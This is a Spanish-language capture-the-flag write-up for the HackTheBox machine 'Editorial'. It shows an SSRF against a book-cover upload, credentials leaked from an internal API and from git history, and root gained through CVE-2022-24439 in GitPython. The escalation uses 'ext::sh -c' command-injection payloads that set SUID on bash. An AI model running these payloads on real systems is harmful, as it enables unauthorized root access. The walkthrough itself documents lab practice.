Editorial es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Editorial 10.10.11.20 a /etc/hosts como editorial.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -sS --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.20 Nmap scan report for 10.10.11.20 Host is up, received echo-reply ttl 63 (0.047s latency). Scanned at 2024-06-21 10:27:37 CEST for 0s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Fri Jun 21 10:27:38 2024 -- 1 IP address (1 host up) scanned in 0.58 seconds |
Detectados los puertos abiertos analizamos más detenidamente los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.10.11.20 Nmap scan report for 10.10.11.20 Host is up (0.049s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA) |_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://editorial.htb |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jun 21 10:27:55 2024 -- 1 IP address (1 host up) scanned in 8.76 seconds |
Enumeración
Procedemos a revsiar el portal web en el puerto 80 donde vemos la siguiente página

Revisamos a fondo la página y vemos un formulario de subida de libros

y nos centraremos en el botón de preview, el cual si interceptamos con burp vemos que hace la petición a la uri /upload-cover para tratar de obtener información de esta

Aquí podría haber una vulnerabilidad de SSRF, así que vamos a enviar la petición al intruder y vamos a ver si es posible acceder a algún puerto local y detectamos abierto el puerto 5000

Por lo que vamos a hacer un curl para ver que nos devuelve ese fichero
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
$ curl http://editorial.htb/static/uploads/97c1a7b0-1b09-4e3e-9e7f-e4ebbe4a6d73 -s | jq { "messages": [ { "promotions": { "description": "Retrieve a list of all the promotions in our library.", "endpoint": "/api/latest/metadata/messages/promos", "methods": "GET" } }, { "coupons": { "description": "Retrieve the list of coupons to use in our library.", "endpoint": "/api/latest/metadata/messages/coupons", "methods": "GET" } }, { "new_authors": { "description": "Retrieve the welcome message sended to our new authors.", "endpoint": "/api/latest/metadata/messages/authors", "methods": "GET" } }, { "platform_use": { "description": "Retrieve examples of how to use the platform.", "endpoint": "/api/latest/metadata/messages/how_to_use_platform", "methods": "GET" } } ], "version": [ { "changelog": { "description": "Retrieve a list of all the versions and updates of the api.", "endpoint": "/api/latest/metadata/changelog", "methods": "GET" } }, { "latest": { "description": "Retrieve the last version of api.", "endpoint": "/api/latest/metadata", "methods": "GET" } } ] } |
Y vemos varios endpoints interesantes en dicho puerto, así que vamos a consultar los mismos y obtenemos unas credenciales al hacer la petición al fichero que nos devuelve el endpoint de authors
|
1 2 3 4 |
$ curl http://editorial.htb/static/uploads/585c08d8-6e39-4c4c-bd10-7754bb9d0c1c -s |jq . { "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team." } |
Obteniendo la flag de user
Con las credenciales obtenidas, accedemos por ssh y cogemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
$ ssh dev@editorial.htb The authenticity of host 'editorial.htb (10.10.11.20)' can't be established. ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts. dev@editorial.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Fri Jun 21 09:04:03 AM UTC 2024 System load: 0.0 Usage of /: 62.0% of 6.35GB Memory usage: 14% Swap usage: 0% Processes: 226 Users logged in: 0 IPv4 address for eth0: 10.10.11.20 IPv6 address for eth0: dead:beef::250:56ff:feb9:3d27 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Wed Jun 19 21:11:42 2024 from 10.10.16.2 dev@editorial:~$ ls -l total 8 drwxrwxr-x 5 dev dev 4096 Jun 19 21:13 apps -rw-r----- 1 root dev 33 Jun 19 08:48 user.txt dev@editorial:~$ id uid=1001(dev) gid=1001(dev) groups=1001(dev) dev@editorial:~$ cat user.txt 10b233509aa4edeb7c3484aa60a3e864 dev@editorial:~$ |
Escalado al usuario prod
Una vez dentro nos fijamos en la home del usuario y vemos un directorio apps, el cual tiene un directorio .git
|
1 2 3 4 5 6 7 |
dev@editorial:~/apps$ ls -la total 20 drwxrwxr-x 5 dev dev 4096 Jun 19 21:13 . drwxr-x--- 5 dev dev 4096 Jun 21 09:11 .. drwxrwxr-x 2 dev dev 4096 Jun 19 21:13 app_api drwxrwxr-x 4 dev dev 4096 Jun 19 21:20 app_editorial drwxr-xr-x 8 dev dev 4096 Jun 21 09:09 .git |
No parece haber nada así que revisamos el log de referencia de git y encontramos un commit oculto
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
dev@editorial:~/apps$ git reflog 3251ec9 (HEAD -> master) HEAD@{0}: reset: moving to HEAD 3251ec9 (HEAD -> master) HEAD@{1}: reset: moving to HEAD 3251ec9 (HEAD -> master) HEAD@{2}: reset: moving to 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 1e84a03 HEAD@{3}: reset: moving to 1e84a036b2f33c59e2390730699a488c65643d28 3251ec9 (HEAD -> master) HEAD@{4}: reset: moving to 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 1e84a03 HEAD@{5}: reset: moving to 1e84a036b2f33c59e2390730699a488c65643d28 8ad0f31 HEAD@{6}: reset: moving to HEAD 8ad0f31 HEAD@{7}: commit: fix: bugfix in api port endpoint dfef9f2 HEAD@{8}: commit: change: remove debug and update api port <strong>b73481b HEAD@{9}: commit: change(api): downgrading prod to dev</strong> 1e84a03 HEAD@{10}: commit: feat: create api to editorial info 3251ec9 (HEAD -> master) HEAD@{11}: commit (initial): feat: create editorial app |
así que hacemos un reset a la versión del mismo
|
1 2 |
dev@editorial:~/apps$ git reset --hard b73481b HEAD is now at b73481b change(api): downgrading prod to dev |
y revisamos el log de cambios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
dev@editorial:~/apps$ git log commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae (HEAD -> master) Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 20:55:08 2023 -0500 change(api): downgrading prod to dev * To use development environment. commit 1e84a036b2f33c59e2390730699a488c65643d28 Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 20:51:10 2023 -0500 feat: create api to editorial info * It (will) contains internal info about the editorial, this enable faster access to information. commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 20:48:43 2023 -0500 feat: create editorial app * This contains the base of this project. * Also we add a feature to enable to external authors send us their books and validate a future post in our editorial. |
revisamos el commit y tenemos las credenciales del usuario prod
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
dev@editorial:~/apps$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae (HEAD -> master) Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> Date: Sun Apr 30 20:55:08 2023 -0500 change(api): downgrading prod to dev * To use development environment. diff --git a/app_api/app.py b/app_api/app.py index 61b786f..3373b14 100644 --- a/app_api/app.py +++ b/app_api/app.py @@ -64,7 +64,7 @@ def index(): @app.route(api_route + '/authors/message', methods=['GET']) def api_mail_new_authors(): return jsonify({ - 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team." + 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team." }) # TODO: replace dev credentials when checks pass # ------------------------------- |
así que escalamos
|
1 2 3 4 |
dev@editorial:~/apps$ su - prod Password: prod@editorial:~$ id uid=1000(prod) gid=1000(prod) groups=1000(prod) |
Escalado de privilegios
Revisaremos los permisos del usuario
|
1 2 3 4 5 6 7 |
prod@editorial:~$ sudo -l [sudo] password for prod: Matching Defaults entries for prod on editorial: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User prod may run the following commands on editorial: (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py * |
y puede ejecutar como root el siguiente script
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
prod@editorial:~$ file /opt/internal_apps/clone_changes/clone_prod_change.py /opt/internal_apps/clone_changes/clone_prod_change.py: Python script, ASCII text executable prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py #!/usr/bin/python3 import os import sys from git import Repo os.chdir('/opt/internal_apps/clone_changes') url_to_clone = sys.argv[1] r = Repo.init('', bare=True) r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"]) |
Revisamos la versión de las librerías que utiliza
|
1 2 3 |
prod@editorial:~$ pip list installed|grep -i git gitdb 4.0.10 GitPython 3.1.29 |
Y buscando en google encontramos el cve CVE-2022-24439 de RCE y una poc de la vulnerabilidad
así que vamos a probarlo creando un fichero en /tmp
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned' Traceback (most recent call last): File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module> r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"]) File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs) File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone finalize_process(proc, stderr=stderr) File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process proc.wait(**kwargs) File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait raise GitCommandError(remove_password_if_present(self.args), status, errstr) git.exc.GitCommandError: Cmd('git') failed due to: exit code(128) cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/pwned new_changes stderr: 'Cloning into 'new_changes'... fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. ' |
y vemos que este se ha creado con root como owner
|
1 2 |
prod@editorial:~$ ls -l /tmp/pwned -rw-r--r-- 1 root root 0 Jun 21 09:23 /tmp/pwned |
por lo que vamos a aprovechar la vulnerabilidad para dar permisos de suid al binario de bash y escalar a root
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% u+s% /usr/bin/bash' Traceback (most recent call last): File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module> r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"]) File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs) File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone finalize_process(proc, stderr=stderr) File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process proc.wait(**kwargs) File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait raise GitCommandError(remove_password_if_present(self.args), status, errstr) git.exc.GitCommandError: Cmd('git') failed due to: exit code(128) cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod% u+s% /usr/bin/bash new_changes stderr: 'Cloning into 'new_changes'... fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. ' prod@editorial:~$ ll /usr/bin/bash -rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /usr/bin/bash* prod@editorial:~$ bash -p bash-5.1# id uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod) bash-5.1# |
Obteniendo la flag de root
Una vez que somos root, cogemos la flag
|
1 2 |
bash-5.1# cat /root/root.txt 6aaea7ed2d4100486e31f46dfdea48c8 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










